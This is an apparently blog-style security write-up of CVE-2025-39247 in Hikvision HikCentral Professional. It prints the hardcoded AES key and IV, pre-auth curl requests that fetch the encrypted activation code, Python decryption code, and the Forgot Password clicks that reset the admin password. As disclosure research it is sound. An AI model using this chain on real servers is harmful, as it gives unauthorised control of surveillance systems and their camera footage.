//nefariousplan

CVE-2025-39247: HikCentral Spelled the AES Key Out of Arithmetic. The Endpoint That Encrypts the Admin's Recovery Code With It Is Pre-Auth.

vendor

pattern

cve

proof of concept

Hikvision's AES-128 key for HikCentral Professional's License QR codes is WwXxYyZz1234!@#$. A function in platform.dll derives those 16 bytes at runtime by taking the byte 0x41, the ASCII letter A, and adding sixteen hardcoded signed offsets to it. The offsets are chosen so the sums spell four uppercase letters, four lowercase, four digits, and four shift-row symbols. The function is presented in the disassembly as a key-derivation routine. It is not deriving a key. The arithmetic encodes the constant, and the constant is the same across every install of every vulnerable version of HCMP. A pre-auth endpoint on the same product encrypts the install's License ActiveCode with that key. The admin password-recovery workflow accepts that ActiveCode as proof of identity. The CVSS vector Hikvision filed for CVE-2025-39247 rates the integrity impact as none.

The function is structured as a key-derivation routine. It is not deriving a key.

Static disassembly of platform.dll from HCMP V2.6.2 locates the AES encryption used by the License QR endpoint at 0x1807d33e0, a 502-byte function whose RTTI string is VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode. The function takes its IV from a single 16-byte stringref at .rdata offset 0x18200b1b0. The bytes are AaBbCcDd1234!@#$. The IV is a literal.

The key is built differently. A helper at 0x1807d19b0, 599 bytes long, runs immediately before the AES call. The helper takes one byte as its argument, allocates 16 stack bytes, and writes a sum into each:

seed    = 0x41
offsets = [+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
           -0x10, -0x0F, -0x0E, -0x0D, -0x20, -0x01, -0x1E, -0x1D]
key[i]  = seed + offsets[i]

The seed is hardcoded. The offset table is hardcoded. The output is hardcoded:

0x57 0x77 0x58 0x78 0x59 0x79 0x5A 0x7A 0x31 0x32 0x33 0x34 0x21 0x40 0x23 0x24
 W    w    X    x    Y    y    Z    z    1    2    3    4    !    @    #    $

The 16 sums spell WwXxYyZz1234!@#$. Eight alternating-case letter pairs, then the keyboard's number row, then the shift-row symbols. The function's output entropy is zero. Both inputs are binary-embedded constants; the output is determined.

The key and the IV are presented in two registers of the code. One is the obvious literal a developer writes into .rdata: that is the IV. The other is a 599-byte function with its own assembly listing and stack-frame setup: that is the key. A disassembly reader's first hypothesis on entering the 599-byte function is "this derives a key from a runtime input." The function does not derive a key from a runtime input. The runtime input is 0x41, and the runtime input is hardcoded.

V2.6.3 keeps the IV literal at the same .rdata offset. V2.6.3 ships a separate mechanism to rotate the key on existing V2.6.2 installations: the Fix-Pack carries a 244-byte AES-128-CFB ciphertext blob named wbaes_key_dec and a whitebox-AES decryptor (wbext_dec.exe, source path leaks D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c) that turns the blob into the replacement key at install time. Whitebox AES is the defensive technique a DRM system uses when it needs to hide a key inside an artifact whose audience it does not trust. Hikvision is now using it to hide the patch's new key from people who possess the patch.

The endpoint that encrypts the License ActiveCode with that key is pre-auth.

Two POST requests retrieve the ciphertext from any HCMP server on the network. Neither requires authentication.

# 1. Obtain an anonymous session identifier.
curl -k -X POST \
  "https://<target>/ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET" \
  --data-binary @/dev/null
# Response: ResponseStatus.Data.CryptoResponse.{ SID, CryptoKey, CryptoType, CryptoMode }

# 2. Fetch the License/ActiveCode QR code.
curl -k -X POST \
  "https://<target>/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>" \
  --data-binary @/dev/null
# Response: ResponseStatus.Data.QRCode = base64(PNG of a QR code)

The QR's payload is the URL https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64>. The SN= value is base64(AES-128-CBC-PKCS7-Encrypt(KEY, IV, plaintext)), where the plaintext follows the format string License:%s;DZP:%s. The first %s is a comma-separated list of the install's License ActiveCodes, one per activated module. The second %s is the install's DeviceCode.

The string literal License:%s;DZP:%s is present in platform.dll for V2.6.2 through V3.0.0. V2.6.3 removes it. The QR endpoint, the AES wrapper at 0x1807d33e0, the IV literal, and the arithmetic-encoded key build all persist in V2.6.3. The patch removed the format string that names what the plaintext contains. The endpoint still emits a base64 of an AES ciphertext; the ciphertext, in V2.6.3, no longer carries the ActiveCode.

Decryption on a vulnerable target is the inverse of the format string:

ct = base64.b64decode(re.search(r'SN=([^&]+)', qr_url).group(1))
pt = Cipher(algorithms.AES(b"WwXxYyZz1234!@#$"),
            modes.CBC(b"AaBbCcDd1234!@#$")).decryptor().update(ct)
# pt: "License:<code>[,<code>...];DZP:<devicecode>"

Every step is one request away from any host that can reach the HCMP web tier. The audit log on the target records two reads against the licensing API. The reads look normal for the licensing API. The licensing API is the side of the product that talks to anonymous callers about admin state.

The endpoint that accepts the same value as proof of identity has no remote-address check.

PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword

Strings extracted from V2.6.2 platform.dll describe the request shape:

VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList

The handler validates that the request carries either a valid ActiveCode or the correct security-question answers. There is no auth-bypass by sending empty fields; the validation logic was present in V2.6.2 and rejected unknown values. The handler trusts the caller because the caller, in the design, is the local installer at first-run setup. The local-installer assumption is what the handler relies on for the rest of its behavior, including the privilege of resetting admin's password.

Nothing in V2.6.2 enforces the local-installer assumption at the network layer. The Nginx config's catch-all /ISAPI/Bumblebee/Platform/V0/* proxy directive forwards every inbound request, regardless of source address. The V2.6.3 patch's entire Nginx delta is one new location = block:

#禁止非127.0.0.1和::1的重置密码
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
    if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
    if ($allowed != "1")   { return 403; }
    if ($scheme = "http")  { proxy_pass http://http_backend;  }
    if ($scheme = "https") { proxy_pass http://http2_backend; }
}

The Chinese comment translates to "Forbid password reset from non-127.0.0.1/::1." The Hikvision engineer who wrote that comment in 2025 understood, at the moment they wrote it, that the endpoint had only ever been safe under that constraint. The constraint was not in the Nginx config for any release between V2.3.1 and V2.6.2, nor for V3.0.0. The endpoint had shipped without it for the life of the product line.

The closing argument is the Forgot Password page.

Once the attacker holds an ActiveCode recovered from the QR, the remainder of the chain is the customer-facing UI:

  1. Open https://<target>:<port> in a browser.
  2. Click "Forgot password."
  3. Username: admin.
  4. Recovery method: "Activation code."
  5. Activation code: the value recovered from the QR.
  6. Choose a new admin password.
  7. Log in as admin.

There is no special HTTP request, no brute force, no social engineering. The operator clicks through the same form a legitimate user with the right ActiveCode would have clicked. The product validates the ActiveCode against the install's database, accepts it, and issues an authenticated admin session. The session can add cameras, replay archives, change recording retention, export footage, and reach every IP camera the facility connected to its central VMS.

The PoC author's script performs only the two pre-auth POSTs, decodes the QR, decrypts the ciphertext, and then prints the seven UI clicks with the recovered code inserted. The README is explicit: "the tool remains a verification instrument rather than a fire-and-forget weapon." The PoC author named the two halves of the chain and left the join to the operator. The join is a UI workflow paved by Hikvision.

The CVE record names the leak. The bug is what the leak is the key to.

This is an emergent primitive. Two endpoints, each correct under its own threat model, compose into a pre-auth admin takeover that neither would produce alone. The QR endpoint's team built a self-service license display; their threat model was license fraud, not secret leakage. The password-reset team built a first-run installer endpoint; their threat model was network access from non-local callers. Each component is correct under its own assumption. The product team responsible for noticing that the value emitted by one feature is the credential consumed by another is the team that does not exist on the org chart. The composition is the bug, in the same shape the Linux network stack and a six-year-old esp_input fast path produced Dirty Frag.

The CVE record names exactly one of the two halves. The description is "HikCentral Professional - Pre-Auth License ActiveCode Leak." The CVSS vector is:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

The integrity-impact metric is I:N. The official rating, signed by Hikvision and accepted into NVD, says the bug has no integrity impact. The exploit chain ends with the attacker resetting admin's password through the vendor's own Forgot Password page. The admin password is the value most commonly recognized as "the integrity of the user database." A pre-auth admin takeover of a video management system is rated, in the official record, as integrity-impact-none.

The leak named in the CVE is one mouth of a system that talks to anonymous callers about admin state. The V2.6.3 patch closed that mouth. The same release leaves intact:

  • RetrieveStateInfo(Name=admin), which returns admin's email address, whether security-question recovery is configured, whether email recovery is configured, and the remaining lifetime of any in-flight verify code. Pre-auth. Reachable on patched V2.6.3.
  • GetSecurityQuestionCommBeforeLogin, the sibling that hands out the configured security-question prompts. Pre-auth. Reachable on patched V2.6.3.
  • The 6-digit verify-code search space on the email-recovery path. The format string in platform.dll is %06d; the schema declares verify_code VARCHAR(64). V2.6.3 added a per-account lockout class, CRetrievePwdByQuesFreezeManager, scoped to the admin user. Other paths do not carry the lockout.

There is also the matter of where the vulnerable installer lives. The V2.6.2 download page was removed from hikvision.com after disclosure on 2025-08-28. The installer binary itself, HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe, 1,314,043,792 bytes, MD5 76d42e7cb16dc0e177b9a35d0fed7ced, is still served by the Tencent EdgeOne CDN at the original URL when the request carries the matching Referer header. The cache-status header reads HIT with an age of roughly 29 days at the time of analysis. V2.5.1 and V2.6.0 behave the same way. The delisting was a website edit. The asset the website pointed to was not affected by the website edit.

PoC: Sita-Technologies/CVE-2025-39247

Each subsystem is correct under its own assumption. The composition is the bug, and Hikvision rated its integrity impact as none.